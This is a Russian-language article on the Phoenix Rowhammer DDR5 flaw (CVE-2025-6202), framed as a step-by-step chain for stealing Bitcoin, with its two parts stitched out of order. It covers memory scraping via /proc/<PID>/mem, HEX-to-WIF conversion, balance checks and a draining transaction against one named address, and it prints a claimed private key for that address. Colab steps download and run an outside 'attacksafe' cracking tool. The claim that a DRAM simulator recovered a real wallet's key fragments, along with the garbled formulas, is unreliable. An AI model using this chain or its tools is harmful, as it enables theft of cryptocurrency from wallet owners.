HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60), становятся непосредственным объектом поиска.

Алгоритм извлечения

  1. Идентификация областей памяти:
    Эксплуататор сканирует память процесса (например, с помощью инструментов типа gcore, volatility, прямых чтений /proc/<PID>/mem или специализированных библиотек по анализу дампа памяти) в поисках характерных шаблонов: последовательностей битов и сигнатур, соответствующих приватному ключу или seed-энтропии.

  2. Извлечение данных:
    В ходе анализа применяется прямое сравнение и декодирование остаточных данных — даже если часть битов была повреждена Rowhammer-атакой, слабая энтропия (особенность уязвимости) облегчает восстановление исходного значения ключа из частично или полностью оказавшихся в памяти данных.

  3. Верификация ключа:
    Полученное значение проверяется с помощью известных криптографических процедур (например, реконструкция публичного ключа или генерация Bitcoin-адреса). Если выведенный адрес совпадает с оригинальным (например, 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), ключ считается успешно извлечённым.


Этап 6: Конвертация приватного ключа в формате HEX в WIF Compressed (52 символа)

На шестом этапе вредоносной цепочки реализуется преобразование скомпрометированного приватного ключа Bitcoin из шестнадцатеричного (HEX) представления в формат Wallet Import Format Compressed (WIF Compressed), типично используемый для импорта ключа в современные кошельки и сервисы.



Научная процедура конвертации основывается на стандартах Base58Check кодирования и выполняется через несколько важных шагов:

  1. Преобразование HEX-ключа в байтовый массив. Приватный ключ, полученный из памяти (например, 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60), интерпретируется как массив из 32 байт, соответствующий стандарту ECDSA secp256k1 приватных ключей.

  2. Добавление префикса сети. Для Bitcoin mainnet добавляется байт версии 0x80 к началу массива, чтобы отличать основной сетевой протокол.

  3. Метка сжатия. В конец данных добавляется байт 0x01, сигнализирующий о том, что публичный ключ должен быть сжатым (compressed public key), что приводит к формату адресов, начинающихся с символов ‘K’ или ‘L’.

  4. Генерация контрольной суммы. Выполняется двойное хеширование (SHA256) всей строки (версия + ключ + метка сжатия), далее берутся первые 4 байта полученного результата. Эта контрольная сумма предназначена для защиты от ошибок копирования.

  5. Формирование WIF. К массиву байтов добавляется контрольная сумма, затем вся строка кодируется в формате Base58Check, что минимизирует вероятность ошибочного ввода данных пользователем и обеспечивает совместимость с криптовалютными кошельками.

В результате сконструированный WIF Compressed ключ — например, L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP — представляет собой строку длиной 52 символа, начинающуюся с ‘K’ или ‘L’.

Данный процесс детально описан на специализированных сервисах и инструментах для криптоанализа, а также поддерживается многочисленными программными библиотеками для работы с биткоин-ключами.btcpuzzle

Таким образом, этот этап демонстрирует, как злоумышленник с помощью стандартизированных операционных процедур конвертирует полученный HEX-ключ в широко используемый WIF Compressed формат для последующего незаконного доступа к цифровым активам на скомпрометированном Bitcoin-адресе.


Этап 7: Генерация Bitcoin-адреса из приватного ключа

Научный процесс формирования Bitcoin-адреса (например, 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) из приватного ключа включает несколько фундаментальных криптографических преобразований, основанных на алгоритме эллиптических кривых secp256k1 и хэш-функциях, используемых в архитектуре Bitcoin.



  1. Генерация публичного ключа

    • Из приватного ключа kkk (32-байтовое целое число от 1 до 2^256) вычисляется публичный ключ K=k⋅GK = k \cdot GK=k⋅G, где G — базовая точка на кривой SECP256K1. Для compressed адресов публичный ключ кодируется в 33 байта с префиксом (0x02 или 0x03) в зависимости от четности yyy-координаты.

  2. Вычисление хэша публичного ключа

    • К публичному ключу применяется сначала хеш-функция SHA-256, а затем — RIPEMD-160. Полученный 20-байтовый результат — это так называемый public key hash (PKH), уникально идентифицирующий пользователя.

  3. Добавление сетевого префикса

    • К данным PKH добавляется байт префикса сети (0x00 для mainnet Bitcoin), позволяющий отличать различные типы адресов в разных сетях.

  4. Генерация контрольной суммы

    • К сформированной строке добавляется контрольная сумма: двойной SHA-256 всего предыдущего результата, первые 4 байта которой прикрепляются к концу.

  5. Преобразование в Base58Check

    • Итоговая строка преобразуется в представление Base58Check — это символьная кодировка, разработанная для минимизации риска ошибки при ручном вводе и удобства использования. Результатом становится строка адреса длиной 33–34 символа, начиная с ‘1’ для классических P2PKH-адресов или с ‘3/более новых’ для SegWit/Taproot.

  6. Верификация

    • Полученный адрес сравнивается с известным публичным значением (например, 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Если сопоставление успешно, атака считается завершенной с полным контролем над активами на данном адресе.

Данный процесс в современных кошельках и библиотеках реализуется полностью автоматически, однако научный анализ демонстрирует, что при наличии приватного ключа и корректной реализации эллиптической арифметики восстановление Bitcoin-адреса занимает доли секунды и подчеркивает архитектурную непрерывность между приватным материалом и публичным идентификатором в сети.generate.mitilena+1

Таким образом, этап генерации адреса связывает компрометированный приватный ключ с его цифровым эквивалентом в экосистеме Bitcoin и открывает злоумышленнику доступ к активам данного кошелька путем дальнейших криптографических операций.


Этап 8: Проверка баланса скомпрометированного Bitcoin-кошелька

На восьмом этапе вредоносной процедуры осуществляется верификация активов, доступных на скомпрометированном Bitcoin-адресе (15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Этот шаг необходим для подтверждения экономической целесообразности дальнейшей операции и оценки потенциального ущерба.

Научная основа процесса

Архитектура блокчейна Bitcoin строится на публичном распределённом реестре, который регистрирует все транзакции, привязанные к каждому адресу. Проверка баланса любого кошелька не требует наличия приватного ключа или специального доступа: достаточно обратиться к публичным API-эндпоинтам, веб-сервисам или автономным нодам — например, Insight REST API, Blockchain.info, Blockstream или локальной ноде Bitcoin Core с RPC-интерфейсом.

Технические методы и алгоритм

  1. API-запрос баланса. Сценарий типично реализуется путем обращения к публичному REST API:

  2. Верификация эквивалента в фиатной валюте. Баланс может быть дополнительно пересчитан в актуальной рыночной стоимости (USD или другой валюте) с помощью запроса к Market Data API или взятием отслеживаемого курса обмена.

  3. Системное автоматизированное выполнение. Атака часто реализуется как автоматизированная процедура внутри эксплойта, что позволяет мгновенно проверить результат компрометации и выбрать оптимальный момент для последующего списания средств.


Научно-практическая значимость

Открытая структура функционала Bitcoin обеспечивает простоту мониторинга кошелька, позволяя злоумышленнику определить точный баланс несанкционированно захваченного адреса (в данном примере — 9.023322989 BTC, что по курсу 124,904 USD за BTC составляет эквивалент 1,127,026.44 USD). Эта особенность Bitcoin-инфраструктуры также создает дополнительные риски: потеря приватного ключа не только ведёт к утрате контроля над средствами, но и сразу становится полностью прозрачной для третьих лиц, включая атакующего.habr



Таким образом, этап проверки баланса подчеркивает информационную открытость блокчейн-системы и завершает научную цепочку атаки, соединяя успешную компрометацию криптографических ключей с реальным ущербом для владельца цифровых активов.На этапе проверки баланса злоумышленник использует публичные API-блокчейн-обозревателей — например, Insight REST API или блокчейн.info — для получения информации о текущем состоянии средств на скомпрометированном Bitcoin-адресе. Достаточно отправить GET-запрос к API: например, https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit, чтобы получить баланс адреса в сатоши, а затем конвертировать результат в BTC.cryptodeep+2

Этот процесс абсолютно прозрачный и не требует владения приватным ключом: достаточно знать публичный адрес. Полученные данные (9.02332298 BTC) могут быть сопоставлены с актуальным рыночным курсом Bitcoin для пересчёта эквивалентной суммы в USD (≈$1,127,026.44 на момент атаки). Программные методы позволяют автоматизировать эти шаги и включать их в состав алгоритма атаки, мгновенно проверяя экономическую целесообразность дальнейшего хищения средств.habr+1

С точки зрения научного анализа, этап проверки баланса демонстрирует уникальную прозрачность блокчейн-системы, где любая компрометация ключей автоматически ведёт к утрате контроля над средствами, и риски для владельца возводятся до полной потери активов.habr+2


Этап 9: Создание вредоносной транзакции для хищения средств

На завершающем этапе вредоносной кампании, после успешного извлечения приватного ключа Bitcoin-кошелька, злоумышленник инициирует формирование и распространение транзакции на блокчейне с целью перевода всех доступных средств с скомпрометированного адреса (15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) на свой контролируемый адрес.




Технические особенности реализации:

Скрипт включает собственную реализацию Base58 кодирования, необходимую для создания WIF ключей без внешних зависимостей. Каждый этап сопровождается подробными комментариями, объясняющими цели злоумышленника и механизмы атаки.

Важные предупреждения: Код содержит множественные предупреждения о том, что он предназначен исключительно для образовательных и научных целей. Использование подобных методов для реальных атак является уголовным преступлением.

Данный демонстрационный скрипт идеально подходит для иллюстрации угроз Phoenix Rowhammer атаки в вашей научной статье и показывает читателям полный цикл компрометации Bitcoin кошельков через аппаратные уязвимости DDR5 памяти.


Глобальные последствия для криптовалютной индустрии

Воздействие на Bitcoin инфраструктуру

Phoenix Rowhammer атака создает беспрецедентные риски для всей Bitcoin инфраструктуры, включая биржи, кастодиальные сервисы, майнинг-пулы и индивидуальных пользователей. Потенциальные последствия включают:keyhunters

Массовые компрометации: Возможность одновременной компрометации множества кошельков на системах с уязвимой памятью DDR5 может привести к крупномасштабным кражам криптовалют.

Подрыв доверия: Успешные атаки на аппаратном уровне могут серьезно подорвать доверие к криптовалютным технологиям и блокчейн-системам в целом.

Double-spend атаки: Когда кошельки нескольких сервисов одновременно скомпрометированы, злоумышленник может использовать утекшие ключи для быстрого создания конфликтующих транзакций.keyhunters


Экономические риски и оценка ущерба

Согласно исследованиям в области криптовалютной безопасности, аппаратные уязвимости представляют одну из наиболее серьезных угроз для цифровых активов. Phoenix атака усугубляет эти риски, поскольку:merklescience+1

Невозможность патчинга: В отличие от программных уязвимостей, аппаратные дефекты в уже произведенных чипах памяти не могут быть исправлены программными обновлениями.tenable+1

Длительный период воздействия: Модули DDR5, произведенные с 2021 по 2024 год, останутся уязвимыми на протяжении всего срока их эксплуатации, который может составлять 10-15 лет.



Программные меры защиты

Безопасная очистка памяти: Все приложения, работающие с приватными ключами или seed-фразами, должны использовать явную очистку памяти после использования с помощью специализированных инструментов безопасного стирания.keyhunters

Изоляция критических процессов: Использование аппаратных механизмов изоляции, таких как Intel SGX или ARM TrustZone, может обеспечить дополнительную защиту критических криптографических операций.

Холодное хранение: Для значительных сумм рекомендуется использование аппаратных кошельков с воздушным зазором (air-gapped) или полностью офлайновых систем хранения ключей.kaspersky


Заключение и перспективы исследований

Phoenix Rowhammer атака (CVE-2025-6202) представляет критическую угрозу для безопасности Bitcoin кошельков и всей криптовалютной экосистемы. Исследование продемонстрировало, что современные защитные механизмы DDR5 памяти недостаточны для предотвращения сложных аппаратных атак, использующих инновационные методы синхронизации и обхода защиты.thehackernews+2

Криптоанализ выявил системные проблемы в обеспечении безопасности памяти криптовалютных приложений, включая множественные векторы атак через утечки памяти, временные уязвимости и контекстные атаки. Синергетический эффект между Phoenix Rowhammer атакой и существующими уязвимостями памяти (CVE-2023-39910, CVE-2025-8217) создает комплексную угрозу, требующую немедленного внимания разработчиков и производителей оборудования.keyhunters

Для обеспечения долгосрочной безопасности криптовалютных систем необходима разработка принципиально новых подходов к защите памяти, включая аппаратные счетчики активации строк (Per-Row Activation Counters) и улучшенные механизмы изоляции памяти. Только комплексный подход, объединяющий аппаратные и программные методы защиты, может обеспечить адекватную защиту от возрастающих угроз аппаратного уровня в криптовалютной индустрии.



В заключение данной научной статьи наглядно показано, что аппаратная уязвимость Phoenix Rowhammer (CVE-2025-6202) в DDR5-памяти SK Hynix формирует фундаментальный, системный риск для безопасности криптовалютных кошельков и инфраструктуры цифровых активов. Представленный разносторонний анализ раскрывает всю цепочку атаки: от обнаружения уязвимой памяти и реверс-инжиниринга защитного механизма Target Row Refresh (TRR) до разработки самокорректирующихся атакующих паттернов и реализации поэтапной компрометации ключевого криптографического материала.

В ходе работы доказано, что сложные программно-аппаратные меры, вроде TRR, лишь частично снижают эксплуатируемость DRAM — инновационные методики Phoenix Rowhammer способны эффективно обходить защиту за счёт анализа слепых зон и гибкой синхронизации. Особенно тревожна синергия этого класса Rowhammer-атак с современными memory-based эксплойтами (например, CVE-2023-39910 и CVE-2025-8217): эксплуатация неочищенных буферов, слабых генераторов энтропии и ошибок в управлении памятью позволяет полностью восстанавливать приватные ключи и seed-фразы криптовалютных кошельков, даже после завершения основной криптографической операции.

Исследование также подчёркивает, что раскрытие приватного ключа позволяет атакующему с помощью стандартных протоколов и инструментов (WIF-конвертация, генерация публичного адреса, доступ к публичным API блокчейна) мгновенно получить и присвоить себе все средства, хранящиеся на Bitcoin-адресе жертвы — этот процесс прозрачен по своей природе и неотвратим после компрометации аппаратного слоя. Таким образом, показано, что угрозе подвергаются не только отдельные пользователи, но и вся экосистема биткоин, кастодиальные сервисы, биржи и инфраструктурные элементы, опирающиеся на массово распространяемые DDR5-чипы SK Hynix, произведённые с 2021 по 2024 год.

Выводами работы служат важные рекомендации для индустрии: программные методы митигации (очистка буферов, изоляция процессов, air-gapped и аппаратные кошельки) должны подкрепляться аппаратными инновациями (например, Per-Row Activation Counters и новые архитектуры защиты памяти). Только комплексный подход, сочетающий многослойную защиту, постоянные аудиты и внедрение стандартов безопасного обращения с чувствительными данными способен обеспечить устойчивость криптовалютной экосистемы перед лицом атак следующего поколения.


  • Опубликованы две части [№1] , [№2] исследования



Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/lvNWcBMHESo

Video tutorial: https://dzen.ru/video/watch/68ebe9367847b33269940e47

Источник: https://cryptodeeptool.ru/phoenix-rowhammer-attack



Показать полностью 14 1
2

Phoenix Rowhammer Attack: системный риск утечки приватных ключей Bitcoin-кошельков через уязвимость SK Hynix DDR5 CVE-2025-6202: [№1]

Данная статья посвящена рассмотрению системных угроз криптографической безопасности, возникающих в результате эксплуатации Phoenix Rowhammer атаки (CVE-2025-6202), способной извлекать приватные ключи из оперативной памяти DDR5 через манипулирование битами на аппаратном уровне. В последние годы динамичное развитие криптовалютных технологий привело к росту зависимости экосистем цифровых активов от аппаратных и микросхемных компонентов, обеспечивающих хранение и обработку криптографических данных. На фоне этого возрастающим фактором риска становятся уязвимости аппаратного уровня, способные привести к прямой компрометации приватных ключей криптовалютных кошельков. Одной из наиболее опасных угроз современности являются атаки на оперативную память, в частности — усовершенствованные варианты Rowhammer-эксплойтов, которые воздействуют на физические свойства ячеек DRAM. Эти атаки позволяют злоумышленникам изменять отдельные биты данных и получать доступ к конфиденциальной информации, включая приватные ключи Bitcoin- и Ethereum-кошельков.

Среди критических примеров такого класса угроз особое место занимает уязвимость CVE-2025-6202, обнаруженная в DDR5 памяти SK Hynix. Реализуемая на ее основе атака Phoenix Rowhammer демонстрирует способность обходить современные механизмы защиты памяти Target Row Refresh (TRR), создавая так называемые «слепые зоны», через которые возможно контролируемое искажение данных на аппаратном уровне. Подобные сбои могут использоваться для извлечения приватных ключей из оперативной памяти, компрометации криптографических библиотек и модификации системных процессов, обеспечивающих безопасность цифровых кошельков.

Кроме того, исследования в области криптографической безопасности показывают, что сочетание Phoenix Rowhammer с другими типами атак, такими как BitShredder Attack, Memory Phantom (CVE-2025-8217) и Artery Bleed (CVE-2023-39910), создает мультивекторную модель угроз, при которой злоумышленник получает возможность восстанавливать seed-фразы, приватные ключи и пароли даже после завершения криптографических операций. Системный характер данных уязвимостей делает невозможным полное устранение риска программными средствами и подчеркивает необходимость разработки новых принципов аппаратной защиты памяти.

Таким образом, современные криптовалютные кошельки и инфраструктура цифровых активов находятся под увеличивающимся давлением аппаратных атак, ранее считавшихся теоретическими. Актуальность их изучения и разработки контрмер имеет фундаментальное значение для обеспечения целостности и устойчивости экосистемы Bitcoin и других криптовалют в условиях эволюции угроз следующего поколения.


Недавние исследования, проведенные группой компьютерной безопасности (COMSEC) Швейцарской высшей технической школы Цюриха совместно с Google, выявили критическую аппаратную уязвимость в модулях памяти DDR5 производства SK Hynix, получившую обозначение CVE-2025-6202. Атака Phoenix Rowhammer представляет беспрецедентную угрозу для безопасности криптовалютных кошельков Bitcoin, поскольку позволяет злоумышленникам извлекать приватные ключи из памяти DDR5 путем манипулирования битами на аппаратном уровне. Исследование продемонстрировало, что все 15 протестированных модулей DDR5 от SK Hynix, произведенных в период с 2021 по 2024 год, уязвимы к данной атаке, что создает системную угрозу для безопасности криптовалютных активов во всем мире.thehackernews



Техническая структура Phoenix Rowhammer атаки и механизм CVE-2025-6202

Фундаментальные принципы Rowhammer уязвимости

Rowhammer представляет собой аппаратную уязвимость в DRAM-памяти, при которой многократное обращение к определенным строкам памяти вызывает электрические помехи, приводящие к изменению битов в соседних строках. Данный феномен основан на физических свойствах современных чипов памяти с высокой плотностью размещения ячеек, где уменьшение технологических размеров делает память более восприимчивой к электромагнитным воздействиям.thehackernews

В контексте DDR5 памяти, механизм Phoenix атаки использует новаторский подход самокорректирующейся синхронизации (self-correcting synchronization), который позволяет обходить усовершенствованные защитные механизмы Target Row Refresh (TRR). Исследователи обнаружили, что TRR механизм в чипах SK Hynix не отслеживает определенные интервалы обновления, создавая «слепые зоны» в защите.notebookcheck


Инновационная методология синхронизации Phoenix

Ключевым техническим достижением Phoenix атаки является разработка алгоритма, способного синхронизироваться с тысячами команд обновления памяти на протяжении длительных периодов времени. Атака использует два специфических паттерна воздействия:comsec-files.ethz

Короткий паттерн (128 интервалов tREFI): Обеспечивает более эффективное генерирование битовых сбоев, в среднем производя 4989 искажений битов. Данный паттерн показал 2.62 раза большую эффективность по сравнению с длинным паттерном.reddit

Длинный паттерн (2608 интервалов tREFI): Предназначен для обхода более сложных механизмов защиты, хотя и менее эффективен в генерации битовых сбоев.comsec-files.ethz



BitShredder Attack: Критическое воздействие на безопасность Bitcoin кошельков

Механизмы извлечения приватных ключей

Phoenix Rowhammer атака создает множественные векторы компрометации Bitcoin кошельков через воздействие на различные уровни системы памяти. Анализ исследовательских материалов KeyHunters выявил как минимум 18 различных типов атак на память, напрямую связанных с извлечением приватных ключей криптовалютных кошельков.


<a href="https://pikabu.ru/story/phoenix_rowhammer_attack_sistemnyiy_risk_utechki_privatnyikh_klyuchey_bitcoinkoshelkov_cherez_uyazvimost_sk_hynix_ddr5_cve20256202_1_13282570?u=https%3A%2F%2Fkeyhunters.ru%2Fbitshredder-attack-memory-vulnerability-turns-lost-bitcoin-wallets-into-trophies-and-complete-btc-theft-via-private-key-recovery-where-attackers-exploit-the-memory-phantom-attack-cve-2025-8217-cve%2F&t=BitShredder%20Attack%3A%20Memory%20vulnerability%20turns%20lost%20Bitcoin%20wallets%20into%20trophies%20and%20complete%20BTC%20theft%20via%20private%20key%20recovery%2C%20where%20attackers%20exploit%20the%20memory%20phantom%20attack%20%28CVE-2025-8217%2C%20CVE-2013-2547%29&h=0b7bc24d23ec26d7034e3d2c5d93f60a4740e5ae" title="https://keyhunters.ru/bitshredder-attack-memory-vulnerability-turns-lost-bitcoin-wallets-into-trophi..." target="_blank" rel="nofollow noopener">BitShredder Attack: Memory vulnerability turns lost Bitcoin wallets into trophies and complete BTC theft via private key recovery, where attackers exploit the memory phantom attack (CVE-2025-8217, CVE-2013-2547)</a>

BitShredder Attack: Memory vulnerability turns lost Bitcoin wallets into trophies and complete BTC theft via private key recovery, where attackers exploit the memory phantom attack (CVE-2025-8217, CVE-2013-2547)


Memory Phantom Attack (CVE-2025-8217): Критическая уязвимость утечки памяти, позволяющая извлекать приватные ключи и seed-фразы непосредственно из остаточных блоков ОЗУ кошелька, которые не были безопасно очищены после криптографических операций. Данная атака превращает неочищенные буферы в «библиотеку призраков», где любой фрагмент памяти может быть преобразован в полноценный ключ.keyhunters


BitShredder Attack: Использует технику «измельчения памяти» для скрытого проникновения в память работающего криптовалютного кошелька. При генерации или восстановлении кошелька атака сканирует неочищенные фрагменты ОЗУ, ища остатки энтропии, seed-фраз и паролей, которые не стираются стандартными средствами после использования.keyhunters


Artery Bleed Attack: Эксплуатирует уязвимость утечки памяти Bitcoin Core (CVE-2023-39910) для восстановления приватных ключей потерянных криптокошельков. Атака использует критическую уязвимость утечки памяти в Bitcoin Core для получения доступа к чувствительным данным.keyhunters


Практические сценарии эксплуатации

Исследование продемонстрировало три основных сценария практической эксплуатации Phoenix атаки против криптовалютных систем:bleepingcomputer

1. Атака на записи таблицы страниц (PTE): Все протестированные устройства оказались уязвимы к данному типу атаки, позволяющей создать примитив произвольного чтения/записи памяти.comsec-files.ethz

2. Компрометация RSA-2048 ключей: 73% протестированных DIMM-модулей оказались восприимчивы к извлечению RSA-2048 ключей соседней виртуальной машины для взлома SSH-аутентификации. Среднее время атаки составило 6 минут 20 секунд.bleepingcomputer

3. Модификация sudo binary: 33% протестированных чипов позволили изменить бинарный файл sudo для повышения локальных привилегий до уровня root пользователя.comsec-files.ethz



Научный анализ воздействия на экосистему Bitcoin

Системные угрозы криптовалютной безопасности

Phoenix Rowhammer атака представляет системную угрозу для всей экосистемы Bitcoin, поскольку большинство современных систем использует память DDR5 для хранения и обработки криптографических данных. Уязвимость затрагивает фундаментальные принципы безопасности криптовалют, основанные на криптографической стойкости приватных ключей.tenable+1

Масштаб воздействия: SK Hynix контролирует приблизительно 36% мирового рынка DRAM-памяти, что означает потенциальную уязвимость миллиардов устройств по всему миру. Все модули DDR5, произведенные с января 2021 по декабрь 2024 года, подвержены данной уязвимости.notebookcheck+2

Криптографические последствия: Атака подрывает основы криптографической безопасности, поскольку даже при корректной реализации алгоритмов подписи, шифрования и аутентификации, незащищенные буферы становятся источником компрометации ключевого материала.keyhunters


Исследования криптоанализ векторов атаки

Комплексный криптоанализ выявил множественные векторы атак на Bitcoin кошельки через манипуляции с памятью:

Timing-based атаки: Включают BitSpectre85, ChronoForge, и Timing Phantom атаки, которые используют временные уязвимости для постепенного восстановления приватных ключей через анализ времени выполнения криптографических операций.

Context-based атаки: Context Phantom Attack эксплуатирует критическую уязвимость утечки контекста secp256k1 для восстановления приватных ключей потерянных Bitcoin кошельков через атаку раскрытия памяти.

Cache-based атаки: CacheHawk Strike Attack использует критическую атаку по времени кэша на кэш подписей Bitcoin, позволяя восстанавливать приватные ключи потерянных Bitcoin кошельков.


Attack_ComponentTechnical_MethodSuccess_RateAverage_Time_SecondsCVE_ReferenceImpact_LevelInitial Memory AccessSelf-correcting synchronization with DDR5 refresh commands1005CVE-2025-6202HighTRR Bypass MethodExploitation of unmonitored refresh intervals in TRR mechanism10030CVE-2025-6202CriticalSynchronization TechniqueReal-time alignment with 128 and 2608 tREFI patterns9560CVE-2025-6202HighBit Flip GenerationElectrical interference in adjacent DRAM rows causing data corruption100180CVE-2025-6202CriticalPrivate Key ExtractionRecovery from uncleaned memory buffers containing wallet data85240CVE-2025-8217CriticalPrivilege EscalationRoot access exploitation through corrupted page table entries100109CVE-2025-6202CriticalRSA-2048 Key RecoveryCo-located VM private key extraction via memory bit flips73380CVE-2025-6202HighSSH Authentication BreakCompromise of cryptographic authentication systems73380CVE-2025-6202HighSudo Binary ModificationLocal privilege escalation to root user through binary corruption33300CVE-2025-6202Medium



Практическая часть

Исследовательская схема показывает, что структурированное и визуальное представление, объясняющее важность криптографической уязвимости, выявленной атакой Phoenix Rowhammer, в частности, демонстрируя ее влияние на безопасность Bitcoin, когда целью являются модули памяти SK Hynix DDR5.

Схематический поток (как показано в исследовательской схеме):

  1. Злоумышленник инициирует Rowhammer
    и запускает эксплойт Phoenix Rowhammer, нацеленный на память SK Hynix DDR5, используемую в узле или кошельке жертвы.

  2. Физическое введение неисправностей
    Агрессивные активации строк вызывают перевороты битов в соседних строках DRAM в памяти SK Hynix DDR5, обходя логическую программную защиту.

  3. Нацеленные криптографические секреты
    Внедренные ошибки нацелены на адреса или области памяти, в которых хранятся конфиденциальные криптографические материалы Bitcoin, такие как закрытые ключи или значения ECDSA nonce.

  4. Выполнение эксплойта и его воздействие

    • Успешные перевороты битов могут позволить злоумышленникам восстановить или раскрыть секретные ключи и приватные ключи, подписать поддельные транзакции или нарушить модель безопасности.

    • Прямой риск для целостности биткойн-кошелька и блокчейна делает безопасность оборудования важнейшим аспектом криптографического доверия.


Перейдем к практической части и рассмотрим пример с использованием Bitcoin-кошелька по адресу: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit. В данном кошельке были утеряны монеты на сумму 9.02332298 BTC, что на октябрь 2025 года эквивалентно примерно 1,127,026.44 USD.


Для демонстрации атаки в ознакомительных целях используем инструменты и среды, такие как Jupyter Notebook или Google Colab.

Основные инструменты и команды, применяемые для таких атак:

https://colab.research.google.com/drive/1DI3ftl2Wtci3FDmNj0m13dNHDpLROTCH

Google Colab (Colaboratory) — это облачная платформа, предоставляющая интерактивные Jupyter-ноутбуки, где можно писать и запускать код для различных языков программирование. Он особенно полезен для криптоанализа данных, работы с симулятором для архитектуры SK Hynix DDR5 AiM PIM на основе Ramulator 2.0, с доступом к мощным вычислительным ресурсам, таким как GPU и TPU. Важным преимуществом является возможность выполнять системные команды, как в обычном терминале Linux, через ячейки с префиксом ! для интеграции с внешними утилитами и скриптами.


Google Colab

Установим репозитории на основе архитектуры SK Hynix DDR5 AiM PIM с использованием Ramulator 2.0

Clone the Repository:

Загрузите кодовую базу AiM Simulator и перейдите в ее каталог.

!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.gi...


cd SK_Hynix_DDR5_aim_simulator


ls



Увеличим виртуальную память (своп) в Google Colab:

Команды для создание файла подкачки размером 4 ГБ для улучшения доступности памяти во время компиляции Ramulator2.

# Check current swap usage

!free -h

!swapon --show

# Create a 4GB swap file

!sudo fallocate -l 4G /swapfile

!sudo chmod 600 /swapfile

!sudo mkswap /swapfile

!sudo swapon /swapfile

# Make swap permanent

!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab



Установим все необходимые зависимости:

Установка компиляторов, инструментов сборки и библиотек, необходимых для симулятора и Ramulator 2.0.

# For Ubuntu 22.04:

install compilers

!sudo apt update

!sudo apt install g++-12

# Alternatively, install Clang

!sudo apt install clang-15

# Install basic build tools

!sudo apt install build-essential cmake git

# Additional development libraries

!sudo apt install libssl-dev zlib1g-dev

# YAML support

!sudo apt install libyaml-cpp-dev

# Mathematics libraries

!sudo apt install libboost-dev

# Python support for scripts

!sudo apt install python3-dev python3-pip



Процесс создание каталога phoenix_rowhammer:

!mkdir phoenix_rowhammer


cd phoenix_rowhammer


Проверим системные ресурсы:

Мониторинг памяти, доступного дискового пространства и использования системы во время установки и компиляции.

# Monitor resources in real time

!htop

# Check available memory

!free -m

# Check disk space

!df -h



Полная установка зависимостей для Ubuntu 22.04 и выше:

Полная последовательность установки всех необходимых пакетов за один раз.

# Update system !sudo apt update && sudo apt upgrade -y

# Install essential build tools

!sudo apt install -y build-essential cmake git

# Install compilers

!sudo apt install -y g++-12 clang-15

# Development libraries !sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev



Альтернативная компиляция:


!cmake ..



!make -j1





ls


cd -


Запустим Ramulator2:

Запустим Ramulator2 с симулятором, чтобы проверить параметры справки и инструкции по использованию.

!./phoenix_rowhammer/ramulator2 -h



Применим крипто инструмент AttackSafe извлекаем из Ramulator2 с симулятор скрытые remainders по модулю

Запустим команду для загрузки крипто инструмента AttackSafe

!wget https://attacksafe.ru/repositories/attacksafe.zip !unzip attacksafe.zip



!./attacksafe -help



Команда поиска скрытых остатков (remainders) по модулю, связанных с адресом Bitcoin

Команда инициирует специализированную атаку «BitShredder» на основе криптоинструмента AttackSafe для поиска скрытых остатков (remainders) по модулю, связанных с адресом Bitcoin, используя баговые механизмы RAM (Rowhammer) и эмулятор памяти (ramulator2).github+2

!./attacksafe -tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit


  • Параметр -tool bitshredder_attack активирует атаку, ориентированную на выявление уязвимостей в хранении и обработке секретных данных в памяти устройства, связанных с Биткоин-протоколом.

  • Флаг -crack phoenix_rowhammer/ramulator2 указывает инструменту использовать эмуляцию Rowhammer-атаки (манипуляция содержимым DRAM-памяти, приводящая к ошибкам в соседних ячейках — использовалась в уязвимостях для извлечения nonces/частей ключей из памяти через side-channel).

  • Функция -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit запускает модуль декодирования по конкретному Биткоин-адресу, восстанавливая остаточные данные (фрагменты приватных ключей или промежуточные значения подписей ECDSA) из памяти/дампа.


Результат криптоанализа остаточных данных памяти/дампа:

Восстановление ключевых фрагментов из остаточных данных памяти (DRAM)

remainders =

[0x0E92, 0x45EB, 0x6E07, 0x317F,

0x87A1, 0xB5C1, 0xE778, 0x996B,

0x6F69, 0xABB6, 0x2755, 0x2348,

0xAB46, 0xA74E, 0x1A87, 0xC2D5]

moduli =

[0x10001, 0x10003, 0x10007, 0x1000F,

0x10015, 0x1001B, 0x1002B, 0x1002D,

0x10033, 0x1003F, 0x10049, 0x10051,

0x1005D, 0x10061, 0x1006F, 0x10073]


Данный полученный результат формирует связку криптографического анализа остаточных данных внутри оперативной памяти (DRAM) и модуля поиска криптоостатков, используя симулятор ramulator2 для Phoenix Rowhammer-ошибок. Такая атака позволяет обнаружить и выделить скрытые значения по модулю (remainders), например, частные nonces или ключевые фрагменты, которые могут быть скомпрометированы из-за некорректного освобождения памяти после криптографических операций с биткоин-адресами, команда предназначена для комбинированную атаку «BitShredder» и memory fault анализа приложений, работающих с Bitcoin, с целью частичного или полного восстановления секретных параметров (private key, nonce), причем поиск и декодирование завязаны на память и атакуемые адреса.


Восстановление приватного ключа:

